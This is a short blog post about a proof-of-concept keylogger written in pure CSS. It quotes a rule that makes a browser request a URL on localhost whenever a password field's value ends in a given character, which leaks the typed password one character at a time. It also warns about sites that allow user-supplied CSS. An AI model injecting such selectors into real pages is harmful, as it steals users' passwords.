Flutterby™! : CSS keylogger?

A keylogger written in pure CSS. https://github.com/maxchehab/CSS-Keylogging

For example, the following css will select all input's with a type that equals password and a value that ends with a. It will then try to load an image from http://localhost:3000/a.

input[type="password"][value$="a"] {
  background-image: url("http://localhost:3000/a");
}

Beware sites that allow end-user customization... Although the Twitter thread at https://twitter.com/captbaritone/status/966051583132758016 suggests there this may only work for static values, not vanilla inputs, but does work on React inputs.